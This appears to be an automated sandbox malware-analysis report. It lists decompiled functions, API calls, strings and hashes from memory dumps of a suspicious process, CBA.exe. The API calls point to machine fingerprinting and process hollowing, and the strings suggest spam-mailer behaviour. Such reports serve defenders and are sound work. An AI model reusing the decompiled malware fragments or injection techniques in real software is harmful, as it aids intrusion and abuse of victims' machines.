Function 0040BFCE, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0040BFD0
wsprintfA.USER32 ref: 0040C060

Strings

Type = %d: works = %d cur_thr = %d num_thr = %d integr = %d integr_nl = %d fCntrl = %d time_ok_filt = %d cntr = %d time_nl_filt = %d last_time_work = %d last_time_getem = %d last_time_calc = %d last_time_nl, xrefs: 0040C057

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CountTickwsprintf
String ID: Type = %d: works = %d cur_thr = %d num_thr = %d integr = %d integr_nl = %d fCntrl = %d time_ok_filt = %d cntr = %d time_nl_filt = %d last_time_work = %d last_time_getem = %d last_time_calc = %d last_time_nl
API String ID: 2424974917-1012700906
Opcode ID: 06c76dfdee32e392c5b9e14bf2ce1b6ffedea00b213a31f1363bbf4a57a4f60a
Instruction ID: 59a0723085258e1b6130595cff45262f63c8180c8ffe05f2a9b9c441a6a96c57
Opcode Fuzzy Hash: 06c76dfdee32e392c5b9e14bf2ce1b6ffedea00b213a31f1363bbf4a57a4f60a
Instruction Fuzzy Hash: 53115672200100FFDB529BA9DD44E567FA6FB88319B3491ACF6188A166D633D863EB50

Uniqueness

Uniqueness Score: -1.00%

Function 004038F0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55
threadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004038F0(void* __ecx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				signed int _t29;
				intOrPtr _t43;
				intOrPtr _t45;
				intOrPtr _t50;

				if(_a8 <= 0) {
					L14:
					return _t29;
				}
				_t29 = E004030FA(0x412c00);
				_v8 = 0;
				if(_a8 <= 0) {
					L13:
					 *0x412c00 =  *0x412c00 & 0x00000000;
					goto L14;
				} else {
					do {
						_t50 =  *((intOrPtr*)( *((intOrPtr*)(_a4 + _v8 * 4))));
						_t45 =  *((intOrPtr*)(_t50 - 0x24));
						if( *((intOrPtr*)(_t50 - 0x14)) != GetCurrentThreadId()) {
							_t10 = _t50 - 0x1c;
							 *_t10 =  *(_t50 - 0x1c) - 1;
							if( *_t10 < 0) {
								 *(_t50 - 0x1c) =  *(_t50 - 0x1c) & 0x00000000;
							}
							 *((intOrPtr*)(_t50 - 0x14)) = GetCurrentThreadId();
						}
						 *((intOrPtr*)(_t50 - 0xc)) =  *((intOrPtr*)(_t50 - 0xc)) + 1;
						if( *((intOrPtr*)(_t50 - 0xc)) >=  *((intOrPtr*)(_t50 - 8))) {
							_t43 = 2;
							 *((intOrPtr*)(_t50 - 0x20)) = _t43;
							 *((intOrPtr*)(_t45 + 0x10)) =  *((intOrPtr*)(_t45 + 0x10)) + 1;
							_t34 =  *((intOrPtr*)(_t45 + 0x10));
							if( *((intOrPtr*)(_t45 + 0x10)) >=  *((intOrPtr*)(_t45 + 0x14))) {
								 *((intOrPtr*)(_t45 + 8)) = _t43;
								if( *0x412bfc == 0) {
									E00406509(_t34);
									 *0x412bfc = 1;
								}
							}
						}
						_v8 = _v8 + 1;
						_t29 = _v8;
					} while (_t29 < _a8);
					goto L13;
				}
			}

0x004038fa
0x00403989
0x0040398b
0x0040398b
0x00403905
0x0040390b
0x00403911
0x00403982
0x00403982
0x00000000
0x00403913
0x0040391b
0x00403924
0x00403926
0x0040392e
0x00403930
0x00403930
0x00403933
0x00403935
0x00403935
0x0040393b
0x0040393b
0x0040393e
0x00403947
0x0040394b
0x0040394c
0x0040394f
0x00403952
0x00403958
0x0040395a
0x00403964
0x00403966
0x0040396b
0x0040396b
0x00403964
0x00403958
0x00403975
0x00403978
0x0040397b
0x00000000
0x00403981

APIs

Part of subcall function 004030FA: GetTickCount.KERNEL32 ref: 00403103
Part of subcall function 004030FA: InterlockedExchange.KERNEL32(?,00000001), ref: 00403128

GetCurrentThreadId.KERNEL32 ref: 00403929
GetCurrentThreadId.KERNEL32 ref: 00403939

Strings

%FROM_EMAIL, xrefs: 00403913

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CurrentThread$CountExchangeInterlockedTick
String ID: %FROM_EMAIL
API String ID: 3716169038-2903620461
Opcode ID: ef9999c53fb079ee60b66104ed5eee9301c2c40c50ee899f7204c173007e787c
Instruction ID: b7f4056d5a805f6dc72f55654bcd4db07a73235d6c8b9c95532e416c15eafef7
Opcode Fuzzy Hash: ef9999c53fb079ee60b66104ed5eee9301c2c40c50ee899f7204c173007e787c
Instruction Fuzzy Hash: 7B113DB5900214EFD720DF16D581A5DF7F8FB05716F11856EE844A7291C7B8AB80CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 00547086, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 005470A5
LookupAccountNameW.ADVAPI32(00000000,?,?,00000104,?,?,?), ref: 005470DD

Strings

|, xrefs: 005470CF

Memory Dump Source

Source File: 00000012.00000002.390911110.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Yara matches

Similarity

API ID: Name$AccountLookupUser
String ID: |
API String ID: 2370142434-2343686810
Opcode ID: 72898ebcb6f81f1198030622a9bf6313c93c94cde1355ae2af79125b690e915f
Instruction ID: 31828224235d5cc3a077e71dba62167f41e1ba56f945553e89b10ee6611c0177
Opcode Fuzzy Hash: 72898ebcb6f81f1198030622a9bf6313c93c94cde1355ae2af79125b690e915f
Instruction Fuzzy Hash: 0111E87290415CEBDB22DBD5CC84ADEBBBCBB08705F1441A6E502E6590D7709B88DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00401B71, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E00401B71() {
				long _v8;
				long _v12;
				void* _v27;
				char _v28;
				signed int _t12;
				signed int _t28;

				_v28 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				_v8 = 0;
				asm("stosb");
				_v12 = 0xf;
				_t12 = E00401AC3();
				GetComputerNameA( &_v28,  &_v12);
				GetVolumeInformationA(0, 0, 4,  &_v8, 0, 0, 0, 0);
				_t28 = (_v28 ^ _v8 ^ _t12) & 0x7fffffff;
				_v8 = _t28;
				if(_t28 == 0) {
					return E0040ECA5() & 0x7fffffff;
				}
				return _t28;
			}

0x00401b7e
0x00401b84
0x00401b85
0x00401b86
0x00401b87
0x00401b89
0x00401b8c
0x00401b8d
0x00401b94
0x00401ba3
0x00401bb8
0x00401bc8
0x00401bca
0x00401bcd
0x00000000
0x00401bd8
0x00000000

APIs

Part of subcall function 00401AC3: LoadLibraryA.KERNEL32(Iphlpapi.dll,00000000,localcfg,?,hi_id,?,?,?,?,00000001), ref: 00401AD4
Part of subcall function 00401AC3: GetProcAddress.KERNEL32(00000000,GetAdaptersAddresses), ref: 00401AE9

GetComputerNameA.KERNEL32(?,0000000F), ref: 00401BA3
GetVolumeInformationA.KERNEL32(00000000,00000000,00000004,00401EFD,00000000,00000000,00000000,00000000), ref: 00401BB8

Strings

localcfg, xrefs: 00401B7B

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: AddressComputerInformationLibraryLoadNameProcVolume
String ID: localcfg
API String ID: 2777991786-1857712256
Opcode ID: 347cd581b463f90e4869c942ce5ddbd7b1215e33c70616b3ab33c256474cc11e
Instruction ID: 3328142983dde5627d9ce9a8d7cd594e0c2b91da8c15a082e229c164244e8f4a
Opcode Fuzzy Hash: 347cd581b463f90e4869c942ce5ddbd7b1215e33c70616b3ab33c256474cc11e
Instruction Fuzzy Hash: BE018BB2D0010CBFEB009BE9CC819EFFABCAB48754F150072A601F3190E6746E084AA1

Uniqueness

Uniqueness Score: -1.00%

Function 0040AB81, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44
stringCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E0040AB81(intOrPtr _a4, intOrPtr _a8, char _a12, CHAR* _a16, char _a20) {
				void* _t15;
				long _t17;
				signed int _t29;
				long* _t31;

				_t29 = 0;
				if(_a8 > 0) {
					do {
						_t31 = _a4 + _t29 * 4;
						_t17 =  *_t31;
						if( *((char*)(_t17 + 0x10)) == 1 &&  *((char*)(_t17 + 0x12)) == 0) {
							 *((char*)(_t17 + 0x11)) = _a20;
							lstrcpynA( *_t31 + 0x12, _a16, 0x3e);
							 *((char*)( *_t31 + 0x4f)) = 0;
							 *((char*)( *_t31 + 0x10)) = _a12;
							if( *((char*)( *_t31 + 0x10)) != 2) {
								_push(0x413640);
							} else {
								_push(0x41363c);
							}
							_t17 = InterlockedIncrement();
						}
						_t29 = _t29 + 1;
					} while (_t29 < _a8);
					return _t17;
				}
				return _t15;
			}

0x0040ab85
0x0040ab8a
0x0040ab94
0x0040ab97
0x0040ab9a
0x0040aba0
0x0040abab
0x0040abb9
0x0040abc4
0x0040abca
0x0040abd3
0x0040abdc
0x0040abd5
0x0040abd5
0x0040abd5
0x0040abe1
0x0040abe1
0x0040abe3
0x0040abe4
0x00000000
0x0040abea
0x0040abed

APIs

lstrcpynA.KERNEL32(?,?,0000003E,?,%FROM_EMAIL,00000000,?,0040BD6F,?,?,0000000B,no locks and using MX is disabled,000000FF), ref: 0040ABB9
InterlockedIncrement.KERNEL32(00413640), ref: 0040ABE1

Strings

%FROM_EMAIL, xrefs: 0040AB8C

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: IncrementInterlockedlstrcpyn
String ID: %FROM_EMAIL
API String ID: 224340156-2903620461
Opcode ID: 85a21fda7c2203b6c3b9fe5e6af0625d6c65905c1dc9d9bdca14f106badbca83
Instruction ID: 7c747491fd5973eaabf4003e0d871bd0eed893c7530145efd7f06e2bf3dfd35d
Opcode Fuzzy Hash: 85a21fda7c2203b6c3b9fe5e6af0625d6c65905c1dc9d9bdca14f106badbca83
Instruction Fuzzy Hash: D3019231508384AFDB21CF18D881F967FA5AF15314F1444A6F6805B393C3B9E995CB96

Uniqueness

Uniqueness Score: -1.00%

Function 004026B2, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37networkCOMMON

Download Yara Rule

APIs

gethostbyaddr.WS2_32(00000000,00000004,00000002), ref: 004026C3
inet_ntoa.WS2_32(?), ref: 004026E4

Strings

localcfg, xrefs: 004026CD, 004026D2, 004026DE

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: gethostbyaddrinet_ntoa
String ID: localcfg
API String ID: 2112563974-1857712256
Opcode ID: d53564beee30921141880bc566d8d3609085812ca2ea79526dfe3cb7d65e7849
Instruction ID: d2c247fa2f64166219b22d1ecfca1b9a377bc480b126e4bf322f1ec8134a793b
Opcode Fuzzy Hash: d53564beee30921141880bc566d8d3609085812ca2ea79526dfe3cb7d65e7849
Instruction Fuzzy Hash: 81F082321482097BEF006FA1ED09A9A379CEF09354F108876FA08EA0D0DBB5D950979C

Uniqueness

Uniqueness Score: -1.00%

Function 0040EAE4, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040EAE4(CHAR* _a4) {
				struct HINSTANCE__* _t2;

				_t2 =  *0x4136f4;
				if(_t2 != 0) {
					L3:
					return GetProcAddress(_t2, _a4);
				} else {
					_t2 = LoadLibraryA("ntdll.dll");
					 *0x4136f4 = _t2;
					if(_t2 != 0) {
						goto L3;
					} else {
						return _t2;
					}
				}
			}

0x0040eae4
0x0040eaeb
0x0040eb02
0x0040eb0d
0x0040eaed
0x0040eaf2
0x0040eaf8
0x0040eaff
0x00000000
0x0040eb01
0x0040eb01
0x0040eb01
0x0040eaff

APIs

LoadLibraryA.KERNEL32(ntdll.dll,0040EB54,_alldiv,0040F0B7,80000001,00000000,00989680,00000000,?,?,?,0040E342,00000000,7554F210,80000001,00000000), ref: 0040EAF2
GetProcAddress.KERNEL32(?,00000000), ref: 0040EB07

Strings

ntdll.dll, xrefs: 0040EAED

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: ntdll.dll
API String ID: 2574300362-2227199552
Opcode ID: b4eb004c93ce830f66033c1bec013b2cb76b73adf8dbcf645c2d99c100687d31
Instruction ID: 7b5812d5d2c037db56fb7cc720bc5ad28be2e092f3141d28ea6626f847aa1f88
Opcode Fuzzy Hash: b4eb004c93ce830f66033c1bec013b2cb76b73adf8dbcf645c2d99c100687d31
Instruction Fuzzy Hash: D0D0C934600302ABCF22CF65AE1EA867AACAB54702B40C436B406E1670E778E994DA0C

Uniqueness

Uniqueness Score: -1.00%

Function 004426B0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

std::_Init_locks::_Init_locks.LIBCPMTD ref: 004426BA
_atexit.LIBCMTD ref: 004426C4

Strings

UE, xrefs: 004426B5

Memory Dump Source

Source File: 00000012.00000002.390784904.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: Init_locksInit_locks::__atexitstd::_
String ID: UE
API String ID: 1385502269-625707154
Opcode ID: a6ea50b61dc72ec412da52297050b516f64cf9ef6c0ce11664e1544146fdf1bd
Instruction ID: 299175c8afc9760e77cac21e348f3d3dee6b7177463d4b6391e7a9ab99396754
Opcode Fuzzy Hash: a6ea50b61dc72ec412da52297050b516f64cf9ef6c0ce11664e1544146fdf1bd
Instruction Fuzzy Hash: 52B092B669420C231500329B3817A26324A49C0B69B98006BB90E2264B2C8DB99440AF

Uniqueness

Uniqueness Score: -1.00%

Function 00543172, Relevance: 5.2, APIs: 4, Instructions: 157memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00542F71: GetModuleHandleA.KERNEL32(?), ref: 00542F8A
Part of subcall function 00542F71: LoadLibraryA.KERNEL32(?), ref: 00542F9A

GetProcessHeap.KERNEL32(00000000,00000000), ref: 005431C3
HeapFree.KERNEL32(00000000), ref: 005431CA

Memory Dump Source

Source File: 00000012.00000002.390911110.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Yara matches

Similarity

API ID: Heap$FreeHandleLibraryLoadModuleProcess
String ID:
API String ID: 1017166417-0
Opcode ID: 6d22c46e4b2bbf8f956e586da185c112e243b929c4a2d348202b24ffe9e68596
Instruction ID: 989d7bc8d1afcdaa8aeb8fedaa7c9dc0089e759e24d525f5c5046c287b1de3a8
Opcode Fuzzy Hash: 6d22c46e4b2bbf8f956e586da185c112e243b929c4a2d348202b24ffe9e68596
Instruction Fuzzy Hash: D851CF3590424AEFCF01DF68D8889FA7BB5FF15308F144568EC96C7221E7729A19CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00402F22, Relevance: 5.2, APIs: 4, Instructions: 157
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402F22(intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12) {
				signed int _v8;
				void* _v12;
				char _v368;
				void* _t64;
				signed short* _t66;
				intOrPtr* _t67;
				intOrPtr* _t72;
				intOrPtr* _t76;
				intOrPtr* _t82;
				short _t86;
				intOrPtr* _t87;
				signed int _t94;
				intOrPtr _t96;
				signed int _t99;
				short* _t100;
				void* _t101;
				void* _t102;
				void* _t103;
				intOrPtr _t109;
				intOrPtr _t110;
				intOrPtr _t111;
				intOrPtr _t114;
				void* _t115;
				intOrPtr* _t116;
				void* _t117;
				signed int _t118;
				void* _t121;
				void* _t122;
				void* _t123;
				void* _t124;

				_t116 = _a12;
				_t94 = 0;
				 *_t116 = 0;
				_t117 = E00402D21(_a4);
				if(_t117 != 0) {
					if( *_t117 != 0) {
						_v12 = _t117;
						_a12 = _a8;
						while(_t94 < 5) {
							_t9 = _t117 + 8; // 0x8
							_t104 = _t9;
							_t82 = _t9;
							_t10 = _t82 + 1; // 0x9
							_v8 = _t10;
							do {
								_t114 =  *_t82;
								_t82 = _t82 + 1;
							} while (_t114 != 0);
							E0040EE08(_a12, _t104, _t82 - _v8 + 1);
							_t86 =  *((intOrPtr*)(_t117 + 4));
							_a12 = _a12 + 0x100;
							_t122 = _t122 + 0xc;
							 *_t116 =  *_t116 + 1;
							_t117 =  *_t117;
							 *((short*)(_t121 + _t94 * 2 - 0x6c)) = _t86;
							_t94 = _t94 + 1;
							if(_t117 != 0) {
								continue;
							}
							break;
						}
						HeapFree(GetProcessHeap(), 0, _v12);
						_v8 = _v8 & 0x00000000;
						if( *_t116 == 1) {
							L24:
							return 1;
						}
						_t64 =  *_t116 - 1;
						_a12 = _a8;
						do {
							_t118 = _v8;
							_t99 = _t118;
							if(_t118 >=  *_t116 - 1) {
								L17:
								_t66 = _t121 + _v8 * 2 - 0x6c;
								_t100 = _t121 + _t118 * 2 - 0x6c;
								 *_t66 =  *_t100;
								_t67 = _a12;
								 *_t100 =  *_t66 & 0x0000ffff;
								_t101 = _t67 + 1;
								do {
									_t109 =  *_t67;
									_t67 = _t67 + 1;
								} while (_t109 != 0);
								E0040EE08( &_v368, _a12, _t67 - _t101 + 1);
								_t123 = _t122 + 0xc;
								_t120 = (_t118 << 8) + _a8;
								_t72 = (_t118 << 8) + _a8;
								_t102 = _t72 + 1;
								do {
									_t110 =  *_t72;
									_t72 = _t72 + 1;
								} while (_t110 != 0);
								E0040EE08(_a12, _t120, _t72 - _t102 + 1);
								_t76 =  &_v368;
								_t124 = _t123 + 0xc;
								_t103 = _t76 + 1;
								do {
									_t111 =  *_t76;
									_t76 = _t76 + 1;
								} while (_t111 != 0);
								goto L23;
							} else {
								goto L14;
							}
							do {
								L14:
								if( *((intOrPtr*)(_t121 + _t99 * 2 - 0x6a)) <  *((intOrPtr*)(_t121 + _t99 * 2 - 0x6c))) {
									_t32 = _t99 + 1; // 0x1
									_t118 = _t32;
								}
								_t99 = _t99 + 1;
							} while (_t99 < _t64);
							goto L17;
							L23:
							E0040EE08(_t120,  &_v368, _t76 - _t103 + 1);
							_a12 = _a12 + 0x100;
							_t122 = _t124 + 0xc;
							_v8 = _v8 + 1;
							_t64 =  *_t116 - 1;
						} while (_v8 < _t64);
						goto L24;
					}
					_t3 = _t117 + 8; // 0x8
					_t105 = _t3;
					_t87 = _t3;
					_t4 = _t87 + 1; // 0x9
					_t115 = _t4;
					do {
						_t96 =  *_t87;
						_t87 = _t87 + 1;
					} while (_t96 != 0);
					E0040EE08(_a8, _t105, _t87 - _t115 + 1);
					 *_t116 =  *_t116 + 1;
					HeapFree(GetProcessHeap(), 0, _t117);
					goto L24;
				}
				return 0;
			}

0x00402f2e
0x00402f34
0x00402f36
0x00402f3d
0x00402f42
0x00402f4d
0x00402f88
0x00402f8b
0x00402f8e
0x00402f93
0x00402f93
0x00402f96
0x00402f98
0x00402f9b
0x00402f9e
0x00402f9e
0x00402fa0
0x00402fa1
0x00402fae
0x00402fb3
0x00402fb7
0x00402fbe
0x00402fc1
0x00402fc3
0x00402fc5
0x00402fca
0x00402fcd
0x00000000
0x00000000
0x00000000
0x00402fcd
0x00402fdb
0x00402fe3
0x00402fe8
0x004030ad
0x00000000
0x004030af
0x00402ff3
0x00402ff4
0x00402ff7
0x00402ff9
0x00402ffd
0x00403001
0x00403017
0x0040301a
0x00403021
0x00403028
0x0040302b
0x0040302e
0x00403031
0x00403034
0x00403034
0x00403036
0x00403037
0x00403049
0x00403051
0x00403054
0x00403057
0x00403059
0x0040305c
0x0040305c
0x0040305e
0x0040305f
0x0040306b
0x00403070
0x00403076
0x00403079
0x0040307c
0x0040307c
0x0040307e
0x0040307f
0x00000000
0x00000000
0x00000000
0x00000000
0x00403003
0x00403003
0x0040300d
0x0040300f
0x0040300f
0x0040300f
0x00403012
0x00403013
0x00000000
0x00403083
0x0040308f
0x00403094
0x0040309d
0x004030a0
0x004030a3
0x004030a4
0x00000000
0x00402ff7
0x00402f4f
0x00402f4f
0x00402f52
0x00402f54
0x00402f54
0x00402f57
0x00402f57
0x00402f59
0x00402f5a
0x00402f66
0x00402f6e
0x00402f7a
0x00000000
0x00402f7a
0x00000000

APIs

Part of subcall function 00402D21: GetModuleHandleA.KERNEL32(00000000,7519EA30,?,00000000,00402F01,?,004020FF,00412000), ref: 00402D3A
Part of subcall function 00402D21: LoadLibraryA.KERNEL32(?), ref: 00402D4A

GetProcessHeap.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00402F73
HeapFree.KERNEL32(00000000), ref: 00402F7A

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Heap$FreeHandleLibraryLoadModuleProcess
String ID:
API String ID: 1017166417-0
Opcode ID: 17a9aa356eb7964f79448f848511744e029a14576c0ff14f59890d2228000c73
Instruction ID: 68d3b74a61d8da24685d2c7d21854d87d7e5c343c8b3ec1e3967b08f84d9f298
Opcode Fuzzy Hash: 17a9aa356eb7964f79448f848511744e029a14576c0ff14f59890d2228000c73
Instruction Fuzzy Hash: C251E23190020A9FCF01DF64D8889FABB79FF15304F10457AEC95E7290E7769A19CB88

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: CBA.exe PID: 5652 Parent PID: 3472 CBA.exeCOMMON

Executed Functions

Function 05684FF8, Relevance: 2.5, Strings: 1, Instructions: 1234COMMON

Download Yara Rule

Strings

{&, xrefs: 05685F73

Memory Dump Source

Source File: 00000013.00000002.409421056.0000000005680000.00000040.00000001.sdmp, Offset: 05680000, based on PE: false

Similarity

API ID:
String ID: {&
API String ID: 0-4210536796
Opcode ID: b7744b7b9b47a773ceee1033ffb4c0f007617204baf621ed7dd0024718959077
Instruction ID: d33c809eedb8c9544fa3ba71fbea88ccc323ff44b986bbeb81fbb718702b2731
Opcode Fuzzy Hash: b7744b7b9b47a773ceee1033ffb4c0f007617204baf621ed7dd0024718959077
Instruction Fuzzy Hash: DCB25A747006149FCB24EF28C994A69B7F6FF99214F1585AAE40ADB365EB30DC81CF11

Uniqueness

Uniqueness Score: -1.00%

Function 056BF480, Relevance: 1.6, APIs: 1, Instructions: 61memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(?,?,?,?,?,?), ref: 056BF503

Memory Dump Source

Source File: 00000013.00000002.409462339.00000000056B0000.00000040.00000001.sdmp, Offset: 056B0000, based on PE: false

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: eb6263307d19bbe5bf9e6bb4c4241cf3ad2c2eda1829dfb1e1e8eb874ebca59a
Instruction ID: ccb30388dbb258bb60c1bfdf9d8df25f345b81aef221d58790f3e2f94b800d25
Opcode Fuzzy Hash: eb6263307d19bbe5bf9e6bb4c4241cf3ad2c2eda1829dfb1e1e8eb874ebca59a
Instruction Fuzzy Hash: 8521F8719002199FCF10DFA9C884ADEFBF5BF58314F50882AE519A7210D775A954CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 056BF3A0, Relevance: 1.6, APIs: 1, Instructions: 50nativeCOMMON

Download Yara Rule

APIs

NtUnmapViewOfSection.NTDLL(?,?), ref: 056BF405

Memory Dump Source

Source File: 00000013.00000002.409462339.00000000056B0000.00000040.00000001.sdmp, Offset: 056B0000, based on PE: false

Similarity

API ID: SectionUnmapView
String ID:
API String ID: 498011366-0
Opcode ID: 5c27ffab7bb5cd25089eca5f26c0d7b1099a54d1b083b2d462c7e9e372db471c
Instruction ID: ac094cb971b91bdd4091bdf52b2f0b8e706a65c4ca079d36b15f1f63ff37a26b
Opcode Fuzzy Hash: 5c27ffab7bb5cd25089eca5f26c0d7b1099a54d1b083b2d462c7e9e372db471c
Instruction Fuzzy Hash: E91158719003088BDB10DFAAC8447DFFBF9AF88224F14882AD515A7350C774A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 030BDC78, Relevance: .8, Instructions: 785COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.406003896.00000000030B0000.00000040.00000001.sdmp, Offset: 030B0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 661575517388ff0a6a78f870c65254e6aaa1f4ceb641c7acd9c7989fbf572c90
Instruction ID: 651a7782de37ff915e1f223bf7b5c31eae7e24b35c9027a84c6ce0464e769114
Opcode Fuzzy Hash: 661575517388ff0a6a78f870c65254e6aaa1f4ceb641c7acd9c7989fbf572c90
Instruction Fuzzy Hash: B952AF34B122159FCB25DF68D854AEEBBF6EF88300F188869E8069B355DB35DC41CB91

Uniqueness

Uniqueness Score: -1.00%

Function 05681410, Relevance: .4, Instructions: 401COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.409421056.0000000005680000.00000040.00000001.sdmp, Offset: 05680000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 189e9610807509bf89e921f36fa9b3c3fe0ebdf1dd3062a749e16d064169a273
Instruction ID: ae879da9d5eaa0ee7d16f6f648b8eac46ff73d47937676682de17e8d301d0946
Opcode Fuzzy Hash: 189e9610807509bf89e921f36fa9b3c3fe0ebdf1dd3062a749e16d064169a273
Instruction Fuzzy Hash: BDF16D34A01608DFDB18EFA4D454AAEBBF6FF88304F148569E40AAB359DB35DD46CB40

Uniqueness

Uniqueness Score: -1.00%

Function 05687B88, Relevance: 3.3, Instructions: 3262COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.409421056.0000000005680000.00000040.00000001.sdmp, Offset: 05680000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8558eefc09110fdcc185824a90b2302119c10c5dbb4096a20f6d3b00cceb144e
Instruction ID: 3cf73b724f09a3be4a0efc176cadbe1b51e6450c27e1ab708f471a537003ea91
Opcode Fuzzy Hash: 8558eefc09110fdcc185824a90b2302119c10c5dbb4096a20f6d3b00cceb144e
Instruction Fuzzy Hash: 40634B70A5121CAFEB24DBA0CC59BEE77B6EB94704F1040E9E60A7B2D4DB755E808F05

Uniqueness

Uniqueness Score: -1.00%

Function 03030790, Relevance: 1.7, APIs: 1, Instructions: 171libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?), ref: 030382DF

Memory Dump Source

Source File: 00000013.00000002.405783801.0000000003030000.00000040.00000001.sdmp, Offset: 03030000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 1309b8d892813c77d189ad5c1aea840dcb451be5e32c7224b1f947faf75bef94
Instruction ID: 3c1409f35f024ff83ff52e82e04f55e61dd0c0dd687cdbb0529806ce6dab0d29
Opcode Fuzzy Hash: 1309b8d892813c77d189ad5c1aea840dcb451be5e32c7224b1f947faf75bef94
Instruction Fuzzy Hash: F761DE70C097558FC711CFA8C88578EBBF8EF46310F0885AAD445DB292D778984ACB96

Uniqueness

Uniqueness Score: -1.00%

Function 030B5B78, Relevance: 1.7, Strings: 1, Instructions: 403COMMON

Download Yara Rule

Strings

@ ]m, xrefs: 030B5ED0

Memory Dump Source

Source File: 00000013.00000002.406003896.00000000030B0000.00000040.00000001.sdmp, Offset: 030B0000, based on PE: false

Similarity

API ID:
String ID: @ ]m
API String ID: 0-3188457277
Opcode ID: 23d9b88663e51ebae43c9ba7a9fe6eb40414bb4ec7c7fc8b63c341cef4149b32
Instruction ID: 74551f648cdcacce73d008cb40950c7149defe61040e883bea7359bddb9d78fb
Opcode Fuzzy Hash: 23d9b88663e51ebae43c9ba7a9fe6eb40414bb4ec7c7fc8b63c341cef4149b32
Instruction Fuzzy Hash: 52F16134B016098FCB54DFA9C854AEEB7F6BF89604B1584A9E506EB364EB31DC01CF91

Uniqueness

Uniqueness Score: -1.00%

Function 056BD398, Relevance: 1.6, APIs: 1, Instructions: 145processCOMMON

Download Yara Rule

APIs

CreateProcessInternalW.KERNELBASE(?,?,?,?,0000000A,?,?,?,?,?,?,?), ref: 056BD506

Memory Dump Source

Source File: 00000013.00000002.409462339.00000000056B0000.00000040.00000001.sdmp, Offset: 056B0000, based on PE: false

Similarity

API ID: CreateInternalProcess
String ID:
API String ID: 2186235152-0
Opcode ID: 21418925e33f7d211c43c3fe287e11f4cdd183e0f1c83073c3456f87d1718b2c
Instruction ID: 3aac43489fe8e2a702c019f28425310d0b30b8cf9bba51139842a88c449db49b
Opcode Fuzzy Hash: 21418925e33f7d211c43c3fe287e11f4cdd183e0f1c83073c3456f87d1718b2c
Instruction Fuzzy Hash: 03511471D00229DFEB24CF99C940BDEBBB5BF48304F0585AAE909B7250DB719A85CF60

Uniqueness

Uniqueness Score: -1.00%

Function 03030767, Relevance: 1.6, APIs: 1, Instructions: 104libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?), ref: 030382DF

Memory Dump Source

Source File: 00000013.00000002.405783801.0000000003030000.00000040.00000001.sdmp, Offset: 03030000, based on PE: false

Similarity

